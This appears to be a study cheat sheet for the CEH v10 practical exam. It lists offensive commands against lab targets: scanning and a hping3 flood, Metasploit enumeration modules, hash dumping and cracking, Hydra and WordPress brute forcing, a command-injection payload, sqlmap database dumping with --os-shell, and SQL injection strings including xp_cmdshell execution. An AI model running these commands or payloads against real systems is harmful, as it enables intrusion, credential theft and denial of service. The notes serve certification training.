CEH V10 Practical Notes

You are allowed to use this notes even when you're attending the CEH Practicals examination.

Module 02 : Enumeration

- ping www.moviescope.com –f –l 1500 -> Frame size
- tracert www.moviescope.com -> Determining hop count

Enumeration using Metasploit :

- msfdb init
- service postgresql start
- msfconsole
- msf > db_status
- nmap -Pn -sS -A -oX Test 10.10.10.0/24
- db_import Test
- hosts -> To show all available hosts in the subnet
- db_nmap -sS -A 10.10.10.16 -> To extract services of particular machine
- services -> to get all available services in a subnet

SMB Version Enumeration using MSF

- use scanner/smb/smb_version
- set RHOSTS 10.10.10.8-16
- set THREADS 100
- run
- hosts -> now exact os_flavor information has been updated

Module 03 : Scanning Networks

1. Port Scanning using Hping3:
   ```
   hping3 --scan 1-3000 -S 10.10.10.10
   ```
   --scan parameter defines the port range to scan and –S represents SYN flag.
2. Pinging the target using HPing3:
   ```
   hping3 -c 3 10.10.10.10
   ```
   -c 3 means that we only want to send three packets to the target machine.
3. UDP Packet Crafting
   ```
   hping3 10.10.10.10 --udp --rand-source --data 500
   ```
4. TCP SYN request
   ```
   hping3 -S 10.10.10.10 -p 80 -c 5
   ```
   -S will perform TCP SYN request on the target machine, -p will pass the traffic through which port is assigned, and -c is the count of the packets sent to the Target machine.
5. HPing flood
   ```
   hping3 10.10.10.10 --flood
   ```

Module 04 : Enumeration

SNMP Enumeration (161) :

- nmap –sU –p 161 10.10.10.12
- nmap -sU -p 161 --script=snmp-brute 10.10.10.12
- msfconsole
- use auxiliary/scanner/snmp/snmp_login
- set RHOSTS and exploit
- use auxiliary/scanner/snmp/snmp_enum
- set RHOSTS and exploit

NetBIOS Enumeration (139) :

- nbtstat –A 10.10.10.16
- net use
- net use \10.10.10.16\e ““\user:””
- net use \10.10.10.16\e ““/user:””
- NetBIOS Enumerator

- enum4linux -u martin -p apple -U 10.10.10.12 -> Users Enumeration
- enum4linux -u martin -p apple -o 10.10.10.12 -> OS Enumeration
- enum4linux -u martin -p apple -P 10.10.10.12 -> Password Policy Information
- enum4linux -u martin -p apple -G 10.10.10.12 -> Groups Information
- enum4linux -u martin -p apple -S 10.10.10.12 -> Share Policy Information (SMB Shares Enumeration

Active Directory LDAP Enumeration : ADExplorer

Module 05 : Vulnerability Analysis

- nikto -h http://www.goodshopping.com -Tuning 1
- Nessus runs on https://localhost:8834
  - Username: admin
  - Password: password
- Nessus -> Policies > Advanced scan
- Discovery > Host Discovery > Turn off Ping the remote host
- Port Scanning > check the Verify open TCP ports found by local port enumerators
- Advanced
  - Max number of TCP sessions per host and = unlimited
  - Max number of TCP sessions per scan = unlimited
- Credentials > Windows > Username & Password
- Save policy > Create new scan > User Defined
- Enter name & Target
- Schedule tab > Turn of Enabled
- Hit launch from drop-down of save.

Module 06 : System Hacking

NTLM Hash crack :

- responder -I eth0

Rainbowtable crack using Winrtgen :

- Open winrtgen and add new table
- Select ntlm from Hash dropdown list.
- Set Min Len as 4, Max Len as 6 and Chain Count 4000000
- Select loweralpha from Charset dropdown list (it depends upon Password).
- rcrack_gui.exe to crack hash with rainbow table

Hash dump with Pwdump7 and crack with ohpcrack :

- `wmic useraccount get name,sid` --> Get user acc names and SID
- PwDump7.exe > c:\hashes.txt
- Replace boxes in hashes.txt with relevant usernames from step 1.
- Ophcrack.exe -> load -> PWDUMP File
- Tables -> Vista free -> select the table directory -> crack

Module 08 : Sniffing

- `http.request.method == “POST”` -> Wireshark filter for filtering HTTP POST request
- Capture traffic from remote interface via wireshark
  - Capture > Options > Manage Interfaces
  - Remote Interface > Add > Host & Port (2002)
  - Username & password > Start

Module 13 : Hacking Web Servers

- FTP Bruteforce with Hydra
  - `hydra -L /root/Desktop/Wordlists/Usernames.txt -P /root/Desktop/Wordlists/Passwords.txt ftp://10.10.10.11`

Module 14 : Hacking Web Applications

- Wordpress
  - wpscan --url http://10.10.10.12:8080/CEH --enumerate u

- WP password bruteforce
    - msfconsole
    - use auxiliary/scanner/http/wordpress_login_enum
- RCE
    - ping 127.0.0.1 | hostname | net user

Module 15 : SQL Injection

- SQLMAP Extract DBS
    - `sqlmap -u “ http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="xookies xxx" --dbs`
- Extract Tables
    - `sqlmap -u “ http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="cookies xxx" -D moviescope --tables`
- Extract Columns
    - `sqlmap -u “ http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="cookies xxx" -D moviescope -T User_Login --columns`
- Dump Data
    - `sqlmap -u “ http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="cookies xxx" -D moviescope -T User_Login --dump`
- OS Shell to execute commands
    - `sqlmap -u “ http://www.moviescope.com/viewprofile.aspx?id=1” --cookie="cookies xxx" --os-shell`
- Login bypass
    - `blah' or 1=1 --`
- Insert data into DB from login
    - `blah';insert into login values ('john','apple123');`
- Create database from login
    - `blah';create database mydatabase;`
- Execute cmd from login
    - `blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --`

Module 19 - Cloud Computing

- owncloud

Last modified 2yr ago

WAS THIS PAGE HELPFUL?